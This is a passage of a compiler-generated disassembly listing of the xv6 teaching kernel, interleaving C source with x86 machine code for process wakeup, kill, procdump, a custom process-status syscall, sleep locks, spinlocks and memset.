05 88 00 00 00 add $0x88,%eax 801041a5: 3d 54 4f 11 80 cmp $0x80114f54,%eax 801041aa: 73 1e jae 801041ca <wakeup+0x4a> if(p->state == SLEEPING && p->chan == chan) 801041ac: 83 78 0c 02 cmpl $0x2,0xc(%eax) 801041b0: 75 ee jne 801041a0 <wakeup+0x20> 801041b2: 3b 58 20 cmp 0x20(%eax),%ebx 801041b5: 75 e9 jne 801041a0 <wakeup+0x20> p->state = RUNNABLE; 801041b7: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801041be: 05 88 00 00 00 add $0x88,%eax 801041c3: 3d 54 4f 11 80 cmp $0x80114f54,%eax 801041c8: 72 e2 jb 801041ac <wakeup+0x2c> wakeup1(chan); release(&ptable.lock); 801041ca: c7 45 08 20 2d 11 80 movl $0x80112d20,0x8(%ebp) } 801041d1: 8b 5d fc mov -0x4(%ebp),%ebx 801041d4: c9 leave release(&ptable.lock); 801041d5: e9 36 05 00 00 jmp 80104710 <release> 801041da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801041e0 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 801041e0: 55 push %ebp 801041e1: 89 e5 mov %esp,%ebp 801041e3: 53 push %ebx 801041e4: 83 ec 10 sub $0x10,%esp 801041e7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 801041ea: 68 20 2d 11 80 push $0x80112d20 801041ef: e8 5c 04 00 00 call 80104650 <acquire> 801041f4: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801041f7: b8 54 2d 11 80 mov $0x80112d54,%eax 801041fc: eb 0e jmp 8010420c <kill+0x2c> 801041fe: 66 90 xchg %ax,%ax 80104200: 05 88 00 00 00 add $0x88,%eax 80104205: 3d 54 4f 11 80 cmp $0x80114f54,%eax 8010420a: 73 34 jae 80104240 <kill+0x60> if(p->pid == pid){ 8010420c: 39 58 10 cmp %ebx,0x10(%eax) 8010420f: 75 ef jne 80104200 <kill+0x20> p->killed = 1; // Wake process from sleep if necessary. if(p->state == SLEEPING) 80104211: 83 78 0c 02 cmpl $0x2,0xc(%eax) p->killed = 1; 80104215: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) if(p->state == SLEEPING) 8010421c: 75 07 jne 80104225 <kill+0x45> p->state = RUNNABLE; 8010421e: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) release(&ptable.lock); 80104225: 83 ec 0c sub $0xc,%esp 80104228: 68 20 2d 11 80 push $0x80112d20 8010422d: e8 de 04 00 00 call 80104710 <release> return 0; 80104232: 83 c4 10 add $0x10,%esp 80104235: 31 c0 xor %eax,%eax } } release(&ptable.lock); return -1; } 80104237: 8b 5d fc mov -0x4(%ebp),%ebx 8010423a: c9 leave 8010423b: c3 ret 8010423c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80104240: 83 ec 0c sub $0xc,%esp 80104243: 68 20 2d 11 80 push $0x80112d20 80104248: e8 c3 04 00 00 call 80104710 <release> return -1; 8010424d: 83 c4 10 add $0x10,%esp 80104250: b8 ff ff ff ff mov $0xffffffff,%eax } 80104255: 8b 5d fc mov -0x4(%ebp),%ebx 80104258: c9 leave 80104259: c3 ret 8010425a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104260 <procdump>: // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 80104260: 55 push %ebp 80104261: 89 e5 mov %esp,%ebp 80104263: 57 push %edi 80104264: 56 push %esi 80104265: 53 push %ebx 80104266: 8d 75 e8 lea -0x18(%ebp),%esi int i; struct proc *p; char *state; uint pc[10]; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104269: bb 54 2d 11 80 mov $0x80112d54,%ebx { 8010426e: 83 ec 3c sub $0x3c,%esp 80104271: eb 27 jmp 8010429a <procdump+0x3a> 80104273: 90 nop 80104274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->state == SLEEPING){ getcallerpcs((uint*)p->context->ebp+2, pc); for(i=0; i<10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 80104278: 83 ec 0c sub $0xc,%esp 8010427b: 68 18 78 10 80 push $0x80107818 80104280: e8 db c3 ff ff call 80100660 <cprintf> 80104285: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104288: 81 c3 88 00 00 00 add $0x88,%ebx 8010428e: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 80104294: 0f 83 86 00 00 00 jae 80104320 <procdump+0xc0> if(p->state == UNUSED) 8010429a: 8b 43 0c mov 0xc(%ebx),%eax 8010429d: 85 c0 test %eax,%eax 8010429f: 74 e7 je 80104288 <procdump+0x28> if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 801042a1: 83 f8 05 cmp $0x5,%eax state = "???"; 801042a4: ba f8 77 10 80 mov $0x801077f8,%edx if(p->state >= 0 && p->state < NELEM(states) && states[p->state]) 801042a9: 77 11 ja 801042bc <procdump+0x5c> 801042ab: 8b 14 85 6c 79 10 80 mov -0x7fef8694(,%eax,4),%edx state = "???"; 801042b2: b8 f8 77 10 80 mov $0x801077f8,%eax 801042b7: 85 d2 test %edx,%edx 801042b9: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 801042bc: 8d 43 6c lea 0x6c(%ebx),%eax 801042bf: 50 push %eax 801042c0: 52 push %edx 801042c1: ff 73 10 pushl 0x10(%ebx) 801042c4: 68 fc 77 10 80 push $0x801077fc 801042c9: e8 92 c3 ff ff call 80100660 <cprintf> if(p->state == SLEEPING){ 801042ce: 83 c4 10 add $0x10,%esp 801042d1: 83 7b 0c 02 cmpl $0x2,0xc(%ebx) 801042d5: 75 a1 jne 80104278 <procdump+0x18> getcallerpcs((uint*)p->context->ebp+2, pc); 801042d7: 8d 45 c0 lea -0x40(%ebp),%eax 801042da: 83 ec 08 sub $0x8,%esp 801042dd: 8d 7d c0 lea -0x40(%ebp),%edi 801042e0: 50 push %eax 801042e1: 8b 43 1c mov 0x1c(%ebx),%eax 801042e4: 8b 40 0c mov 0xc(%eax),%eax 801042e7: 83 c0 08 add $0x8,%eax 801042ea: 50 push %eax 801042eb: e8 40 02 00 00 call 80104530 <getcallerpcs> 801042f0: 83 c4 10 add $0x10,%esp 801042f3: 90 nop 801042f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(i=0; i<10 && pc[i] != 0; i++) 801042f8: 8b 17 mov (%edi),%edx 801042fa: 85 d2 test %edx,%edx 801042fc: 0f 84 76 ff ff ff je 80104278 <procdump+0x18> cprintf(" %p", pc[i]); 80104302: 83 ec 08 sub $0x8,%esp 80104305: 83 c7 04 add $0x4,%edi 80104308: 52 push %edx 80104309: 68 21 72 10 80 push $0x80107221 8010430e: e8 4d c3 ff ff call 80100660 <cprintf> for(i=0; i<10 && pc[i] != 0; i++) 80104313: 83 c4 10 add $0x10,%esp 80104316: 39 fe cmp %edi,%esi 80104318: 75 de jne 801042f8 <procdump+0x98> 8010431a: e9 59 ff ff ff jmp 80104278 <procdump+0x18> 8010431f: 90 nop } } 80104320: 8d 65 f4 lea -0xc(%ebp),%esp 80104323: 5b pop %ebx 80104324: 5e pop %esi 80104325: 5f pop %edi 80104326: 5d pop %ebp 80104327: c3 ret 80104328: 90 nop 80104329: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104330 <crsp>: //current process status showing RUNNING and SLEEPING int crsp() { 80104330: 55 push %ebp 80104331: 89 e5 mov %esp,%ebp 80104333: 53 push %ebx 80104334: 83 ec 10 sub $0x10,%esp asm volatile("sti"); 80104337: fb sti // Enable interrupts on this processor. sti(); // Loop over process table looking for process with pid. acquire(&ptable.lock); 80104338: 68 20 2d 11 80 push $0x80112d20 cprintf("name \t pid \t state \n"); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 8010433d: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 80104342: e8 09 03 00 00 call 80104650 <acquire> cprintf("name \t pid \t state \n"); 80104347: c7 04 24 05 78 10 80 movl $0x80107805,(%esp) 8010434e: e8 0d c3 ff ff call 80100660 <cprintf> 80104353: 83 c4 10 add $0x10,%esp 80104356: eb 1b jmp 80104373 <crsp+0x43> 80104358: 90 nop 80104359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if ( p->state == SLEEPING ) cprintf("%s \t %d \t SLEEPING \n ", p->name, p->pid ); else if ( p->state == RUNNING ) 80104360: 83 f8 04 cmp $0x4,%eax 80104363: 74 5b je 801043c0 <crsp+0x90> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104365: 81 c3 88 00 00 00 add $0x88,%ebx 8010436b: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 80104371: 73 2d jae 801043a0 <crsp+0x70> if ( p->state == SLEEPING ) 80104373: 8b 43 0c mov 0xc(%ebx),%eax 80104376: 83 f8 02 cmp $0x2,%eax 80104379: 75 e5 jne 80104360 <crsp+0x30> cprintf("%s \t %d \t SLEEPING \n ", p->name, p->pid ); 8010437b: 8d 43 6c lea 0x6c(%ebx),%eax 8010437e: 83 ec 04 sub $0x4,%esp 80104381: ff 73 10 pushl 0x10(%ebx) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104384: 81 c3 88 00 00 00 add $0x88,%ebx cprintf("%s \t %d \t SLEEPING \n ", p->name, p->pid ); 8010438a: 50 push %eax 8010438b: 68 1a 78 10 80 push $0x8010781a 80104390: e8 cb c2 ff ff call 80100660 <cprintf> 80104395: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80104398: 81 fb 54 4f 11 80 cmp $0x80114f54,%ebx 8010439e: 72 d3 jb 80104373 <crsp+0x43> cprintf("%s \t %d \t RUNNING \n ", p->name, p->pid ); } release(&ptable.lock); 801043a0: 83 ec 0c sub $0xc,%esp 801043a3: 68 20 2d 11 80 push $0x80112d20 801043a8: e8 63 03 00 00 call 80104710 <release> // returns its system call number return 22; } 801043ad: b8 16 00 00 00 mov $0x16,%eax 801043b2: 8b 5d fc mov -0x4(%ebp),%ebx 801043b5: c9 leave 801043b6: c3 ret 801043b7: 89 f6 mov %esi,%esi 801043b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi cprintf("%s \t %d \t RUNNING \n ", p->name, p->pid ); 801043c0: 8d 43 6c lea 0x6c(%ebx),%eax 801043c3: 83 ec 04 sub $0x4,%esp 801043c6: ff 73 10 pushl 0x10(%ebx) 801043c9: 50 push %eax 801043ca: 68 31 78 10 80 push $0x80107831 801043cf: e8 8c c2 ff ff call 80100660 <cprintf> 801043d4: 83 c4 10 add $0x10,%esp 801043d7: eb 8c jmp 80104365 <crsp+0x35> 801043d9: 66 90 xchg %ax,%ax 801043db: 66 90 xchg %ax,%ax 801043dd: 66 90 xchg %ax,%ax 801043df: 90 nop 801043e0 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 801043e0: 55 push %ebp 801043e1: 89 e5 mov %esp,%ebp 801043e3: 53 push %ebx 801043e4: 83 ec 0c sub $0xc,%esp 801043e7: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 801043ea: 68 84 79 10 80 push $0x80107984 801043ef: 8d 43 04 lea 0x4(%ebx),%eax 801043f2: 50 push %eax 801043f3: e8 18 01 00 00 call 80104510 <initlock> lk->name = name; 801043f8: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 801043fb: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; } 80104401: 83 c4 10 add $0x10,%esp lk->pid = 0; 80104404: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) lk->name = name; 8010440b: 89 43 38 mov %eax,0x38(%ebx) } 8010440e: 8b 5d fc mov -0x4(%ebp),%ebx 80104411: c9 leave 80104412: c3 ret 80104413: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104420 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80104420: 55 push %ebp 80104421: 89 e5 mov %esp,%ebp 80104423: 56 push %esi 80104424: 53 push %ebx 80104425: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80104428: 83 ec 0c sub $0xc,%esp 8010442b: 8d 73 04 lea 0x4(%ebx),%esi 8010442e: 56 push %esi 8010442f: e8 1c 02 00 00 call 80104650 <acquire> while (lk->locked) { 80104434: 8b 13 mov (%ebx),%edx 80104436: 83 c4 10 add $0x10,%esp 80104439: 85 d2 test %edx,%edx 8010443b: 74 16 je 80104453 <acquiresleep+0x33> 8010443d: 8d 76 00 lea 0x0(%esi),%esi sleep(lk, &lk->lk); 80104440: 83 ec 08 sub $0x8,%esp 80104443: 56 push %esi 80104444: 53 push %ebx 80104445: e8 76 fb ff ff call 80103fc0 <sleep> while (lk->locked) { 8010444a: 8b 03 mov (%ebx),%eax 8010444c: 83 c4 10 add $0x10,%esp 8010444f: 85 c0 test %eax,%eax 80104451: 75 ed jne 80104440 <acquiresleep+0x20> } lk->locked = 1; 80104453: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80104459: e8 a2 f3 ff ff call 80103800 <myproc> 8010445e: 8b 40 10 mov 0x10(%eax),%eax 80104461: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80104464: 89 75 08 mov %esi,0x8(%ebp) } 80104467: 8d 65 f8 lea -0x8(%ebp),%esp 8010446a: 5b pop %ebx 8010446b: 5e pop %esi 8010446c: 5d pop %ebp release(&lk->lk); 8010446d: e9 9e 02 00 00 jmp 80104710 <release> 80104472: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104480 <releasesleep>: void releasesleep(struct sleeplock *lk) { 80104480: 55 push %ebp 80104481: 89 e5 mov %esp,%ebp 80104483: 56 push %esi 80104484: 53 push %ebx 80104485: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80104488: 83 ec 0c sub $0xc,%esp 8010448b: 8d 73 04 lea 0x4(%ebx),%esi 8010448e: 56 push %esi 8010448f: e8 bc 01 00 00 call 80104650 <acquire> lk->locked = 0; 80104494: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 8010449a: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 801044a1: 89 1c 24 mov %ebx,(%esp) 801044a4: e8 d7 fc ff ff call 80104180 <wakeup> release(&lk->lk); 801044a9: 89 75 08 mov %esi,0x8(%ebp) 801044ac: 83 c4 10 add $0x10,%esp } 801044af: 8d 65 f8 lea -0x8(%ebp),%esp 801044b2: 5b pop %ebx 801044b3: 5e pop %esi 801044b4: 5d pop %ebp release(&lk->lk); 801044b5: e9 56 02 00 00 jmp 80104710 <release> 801044ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801044c0 <holdingsleep>: int holdingsleep(struct sleeplock *lk) { 801044c0: 55 push %ebp 801044c1: 89 e5 mov %esp,%ebp 801044c3: 57 push %edi 801044c4: 56 push %esi 801044c5: 53 push %ebx 801044c6: 31 ff xor %edi,%edi 801044c8: 83 ec 18 sub $0x18,%esp 801044cb: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 801044ce: 8d 73 04 lea 0x4(%ebx),%esi 801044d1: 56 push %esi 801044d2: e8 79 01 00 00 call 80104650 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 801044d7: 8b 03 mov (%ebx),%eax 801044d9: 83 c4 10 add $0x10,%esp 801044dc: 85 c0 test %eax,%eax 801044de: 74 13 je 801044f3 <holdingsleep+0x33> 801044e0: 8b 5b 3c mov 0x3c(%ebx),%ebx 801044e3: e8 18 f3 ff ff call 80103800 <myproc> 801044e8: 39 58 10 cmp %ebx,0x10(%eax) 801044eb: 0f 94 c0 sete %al 801044ee: 0f b6 c0 movzbl %al,%eax 801044f1: 89 c7 mov %eax,%edi release(&lk->lk); 801044f3: 83 ec 0c sub $0xc,%esp 801044f6: 56 push %esi 801044f7: e8 14 02 00 00 call 80104710 <release> return r; } 801044fc: 8d 65 f4 lea -0xc(%ebp),%esp 801044ff: 89 f8 mov %edi,%eax 80104501: 5b pop %ebx 80104502: 5e pop %esi 80104503: 5f pop %edi 80104504: 5d pop %ebp 80104505: c3 ret 80104506: 66 90 xchg %ax,%ax 80104508: 66 90 xchg %ax,%ax 8010450a: 66 90 xchg %ax,%ax 8010450c: 66 90 xchg %ax,%ax 8010450e: 66 90 xchg %ax,%ax 80104510 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80104510: 55 push %ebp 80104511: 89 e5 mov %esp,%ebp 80104513: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 80104516: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 80104519: c7 00 00 00 00 00 movl $0x0,(%eax) lk->name = name; 8010451f: 89 50 04 mov %edx,0x4(%eax) lk->cpu = 0; 80104522: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80104529: 5d pop %ebp 8010452a: c3 ret 8010452b: 90 nop 8010452c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104530 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104530: 55 push %ebp uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104531: 31 d2 xor %edx,%edx { 80104533: 89 e5 mov %esp,%ebp 80104535: 53 push %ebx ebp = (uint*)v - 2; 80104536: 8b 45 08 mov 0x8(%ebp),%eax { 80104539: 8b 4d 0c mov 0xc(%ebp),%ecx ebp = (uint*)v - 2; 8010453c: 83 e8 08 sub $0x8,%eax 8010453f: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104540: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx 80104546: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010454c: 77 1a ja 80104568 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010454e: 8b 58 04 mov 0x4(%eax),%ebx 80104551: 89 1c 91 mov %ebx,(%ecx,%edx,4) for(i = 0; i < 10; i++){ 80104554: 83 c2 01 add $0x1,%edx ebp = (uint*)ebp[0]; // saved %ebp 80104557: 8b 00 mov (%eax),%eax for(i = 0; i < 10; i++){ 80104559: 83 fa 0a cmp $0xa,%edx 8010455c: 75 e2 jne 80104540 <getcallerpcs+0x10> } for(; i < 10; i++) pcs[i] = 0; } 8010455e: 5b pop %ebx 8010455f: 5d pop %ebp 80104560: c3 ret 80104561: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104568: 8d 04 91 lea (%ecx,%edx,4),%eax 8010456b: 83 c1 28 add $0x28,%ecx 8010456e: 66 90 xchg %ax,%ax pcs[i] = 0; 80104570: c7 00 00 00 00 00 movl $0x0,(%eax) 80104576: 83 c0 04 add $0x4,%eax for(; i < 10; i++) 80104579: 39 c1 cmp %eax,%ecx 8010457b: 75 f3 jne 80104570 <getcallerpcs+0x40> } 8010457d: 5b pop %ebx 8010457e: 5d pop %ebp 8010457f: c3 ret 80104580 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80104580: 55 push %ebp 80104581: 89 e5 mov %esp,%ebp 80104583: 53 push %ebx 80104584: 83 ec 04 sub $0x4,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104587: 9c pushf 80104588: 5b pop %ebx asm volatile("cli"); 80104589: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 8010458a: e8 d1 f1 ff ff call 80103760 <mycpu> 8010458f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104595: 85 c0 test %eax,%eax 80104597: 75 11 jne 801045aa <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104599: 81 e3 00 02 00 00 and $0x200,%ebx 8010459f: e8 bc f1 ff ff call 80103760 <mycpu> 801045a4: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 801045aa: e8 b1 f1 ff ff call 80103760 <mycpu> 801045af: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 801045b6: 83 c4 04 add $0x4,%esp 801045b9: 5b pop %ebx 801045ba: 5d pop %ebp 801045bb: c3 ret 801045bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801045c0 <popcli>: void popcli(void) { 801045c0: 55 push %ebp 801045c1: 89 e5 mov %esp,%ebp 801045c3: 83 ec 08 sub $0x8,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 801045c6: 9c pushf 801045c7: 58 pop %eax if(readeflags()&FL_IF) 801045c8: f6 c4 02 test $0x2,%ah 801045cb: 75 35 jne 80104602 <popcli+0x42> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 801045cd: e8 8e f1 ff ff call 80103760 <mycpu> 801045d2: 83 a8 a4 00 00 00 01 subl $0x1,0xa4(%eax) 801045d9: 78 34 js 8010460f <popcli+0x4f> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801045db: e8 80 f1 ff ff call 80103760 <mycpu> 801045e0: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 801045e6: 85 d2 test %edx,%edx 801045e8: 74 06 je 801045f0 <popcli+0x30> sti(); } 801045ea: c9 leave 801045eb: c3 ret 801045ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(mycpu()->ncli == 0 && mycpu()->intena) 801045f0: e8 6b f1 ff ff call 80103760 <mycpu> 801045f5: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 801045fb: 85 c0 test %eax,%eax 801045fd: 74 eb je 801045ea <popcli+0x2a> asm volatile("sti"); 801045ff: fb sti } 80104600: c9 leave 80104601: c3 ret panic("popcli - interruptible"); 80104602: 83 ec 0c sub $0xc,%esp 80104605: 68 8f 79 10 80 push $0x8010798f 8010460a: e8 81 bd ff ff call 80100390 <panic> panic("popcli"); 8010460f: 83 ec 0c sub $0xc,%esp 80104612: 68 a6 79 10 80 push $0x801079a6 80104617: e8 74 bd ff ff call 80100390 <panic> 8010461c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104620 <holding>: { 80104620: 55 push %ebp 80104621: 89 e5 mov %esp,%ebp 80104623: 56 push %esi 80104624: 53 push %ebx 80104625: 8b 75 08 mov 0x8(%ebp),%esi 80104628: 31 db xor %ebx,%ebx pushcli(); 8010462a: e8 51 ff ff ff call 80104580 <pushcli> r = lock->locked && lock->cpu == mycpu(); 8010462f: 8b 06 mov (%esi),%eax 80104631: 85 c0 test %eax,%eax 80104633: 74 10 je 80104645 <holding+0x25> 80104635: 8b 5e 08 mov 0x8(%esi),%ebx 80104638: e8 23 f1 ff ff call 80103760 <mycpu> 8010463d: 39 c3 cmp %eax,%ebx 8010463f: 0f 94 c3 sete %bl 80104642: 0f b6 db movzbl %bl,%ebx popcli(); 80104645: e8 76 ff ff ff call 801045c0 <popcli> } 8010464a: 89 d8 mov %ebx,%eax 8010464c: 5b pop %ebx 8010464d: 5e pop %esi 8010464e: 5d pop %ebp 8010464f: c3 ret 80104650 <acquire>: { 80104650: 55 push %ebp 80104651: 89 e5 mov %esp,%ebp 80104653: 56 push %esi 80104654: 53 push %ebx pushcli(); // disable interrupts to avoid deadlock. 80104655: e8 26 ff ff ff call 80104580 <pushcli> if(holding(lk)) 8010465a: 8b 5d 08 mov 0x8(%ebp),%ebx 8010465d: 83 ec 0c sub $0xc,%esp 80104660: 53 push %ebx 80104661: e8 ba ff ff ff call 80104620 <holding> 80104666: 83 c4 10 add $0x10,%esp 80104669: 85 c0 test %eax,%eax 8010466b: 0f 85 83 00 00 00 jne 801046f4 <acquire+0xa4> 80104671: 89 c6 mov %eax,%esi asm volatile("lock; xchgl %0, %1" : 80104673: ba 01 00 00 00 mov $0x1,%edx 80104678: eb 09 jmp 80104683 <acquire+0x33> 8010467a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104680: 8b 5d 08 mov 0x8(%ebp),%ebx 80104683: 89 d0 mov %edx,%eax 80104685: f0 87 03 lock xchg %eax,(%ebx) while(xchg(&lk->locked, 1) != 0) 80104688: 85 c0 test %eax,%eax 8010468a: 75 f4 jne 80104680 <acquire+0x30> __sync_synchronize(); 8010468c: f0 83 0c 24 00 lock orl $0x0,(%esp) lk->cpu = mycpu(); 80104691: 8b 5d 08 mov 0x8(%ebp),%ebx 80104694: e8 c7 f0 ff ff call 80103760 <mycpu> getcallerpcs(&lk, lk->pcs); 80104699: 8d 53 0c lea 0xc(%ebx),%edx lk->cpu = mycpu(); 8010469c: 89 43 08 mov %eax,0x8(%ebx) ebp = (uint*)v - 2; 8010469f: 89 e8 mov %ebp,%eax 801046a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 801046a8: 8d 88 00 00 00 80 lea -0x80000000(%eax),%ecx 801046ae: 81 f9 fe ff ff 7f cmp $0x7ffffffe,%ecx 801046b4: 77 1a ja 801046d0 <acquire+0x80> pcs[i] = ebp[1]; // saved %eip 801046b6: 8b 48 04 mov 0x4(%eax),%ecx 801046b9: 89 0c b2 mov %ecx,(%edx,%esi,4) for(i = 0; i < 10; i++){ 801046bc: 83 c6 01 add $0x1,%esi ebp = (uint*)ebp[0]; // saved %ebp 801046bf: 8b 00 mov (%eax),%eax for(i = 0; i < 10; i++){ 801046c1: 83 fe 0a cmp $0xa,%esi 801046c4: 75 e2 jne 801046a8 <acquire+0x58> } 801046c6: 8d 65 f8 lea -0x8(%ebp),%esp 801046c9: 5b pop %ebx 801046ca: 5e pop %esi 801046cb: 5d pop %ebp 801046cc: c3 ret 801046cd: 8d 76 00 lea 0x0(%esi),%esi 801046d0: 8d 04 b2 lea (%edx,%esi,4),%eax 801046d3: 83 c2 28 add $0x28,%edx 801046d6: 8d 76 00 lea 0x0(%esi),%esi 801046d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi pcs[i] = 0; 801046e0: c7 00 00 00 00 00 movl $0x0,(%eax) 801046e6: 83 c0 04 add $0x4,%eax for(; i < 10; i++) 801046e9: 39 d0 cmp %edx,%eax 801046eb: 75 f3 jne 801046e0 <acquire+0x90> } 801046ed: 8d 65 f8 lea -0x8(%ebp),%esp 801046f0: 5b pop %ebx 801046f1: 5e pop %esi 801046f2: 5d pop %ebp 801046f3: c3 ret panic("acquire"); 801046f4: 83 ec 0c sub $0xc,%esp 801046f7: 68 ad 79 10 80 push $0x801079ad 801046fc: e8 8f bc ff ff call 80100390 <panic> 80104701: eb 0d jmp 80104710 <release> 80104703: 90 nop 80104704: 90 nop 80104705: 90 nop 80104706: 90 nop 80104707: 90 nop 80104708: 90 nop 80104709: 90 nop 8010470a: 90 nop 8010470b: 90 nop 8010470c: 90 nop 8010470d: 90 nop 8010470e: 90 nop 8010470f: 90 nop 80104710 <release>: { 80104710: 55 push %ebp 80104711: 89 e5 mov %esp,%ebp 80104713: 53 push %ebx 80104714: 83 ec 10 sub $0x10,%esp 80104717: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 8010471a: 53 push %ebx 8010471b: e8 00 ff ff ff call 80104620 <holding> 80104720: 83 c4 10 add $0x10,%esp 80104723: 85 c0 test %eax,%eax 80104725: 74 22 je 80104749 <release+0x39> lk->pcs[0] = 0; 80104727: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 8010472e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 80104735: f0 83 0c 24 00 lock orl $0x0,(%esp) asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 8010473a: c7 03 00 00 00 00 movl $0x0,(%ebx) } 80104740: 8b 5d fc mov -0x4(%ebp),%ebx 80104743: c9 leave popcli(); 80104744: e9 77 fe ff ff jmp 801045c0 <popcli> panic("release"); 80104749: 83 ec 0c sub $0xc,%esp 8010474c: 68 b5 79 10 80 push $0x801079b5 80104751: e8 3a bc ff ff call 80100390 <panic> 80104756: 66 90 xchg %ax,%ax 80104758: 66 90 xchg %ax,%ax 8010475a: 66 90 xchg %ax,%ax 8010475c: 66 90 xchg %ax,%ax 8010475e: 66 90 xchg %ax,%ax 80104760 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104760: 55 push %ebp 80104761: 89 e5 mov %esp,%ebp 80104763: 57 push %edi 80104764: 53 push %ebx 80104765: 8b 55 08 mov 0x8(%ebp),%edx 80104768: 8b 4d 10 mov 0x10(%ebp),%ecx if ((int)dst%4 == 0 && n%4 == 0){ 8010476b: f6 c2 03 test $0x3,%dl 8010476e: 75 05 jne 80104775 <memset+0x15> 80104770: f6 c1 03 test $0x3,%cl 80104773: 74 13 je 80104788 <memset+0x28> asm volatile("cld; rep stosb" : 80104775: 89 d7 mov %edx,%edi 80104777: 8b 45 0c mov 0xc(%ebp),%eax 8010477a: fc cld 8010477b: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, 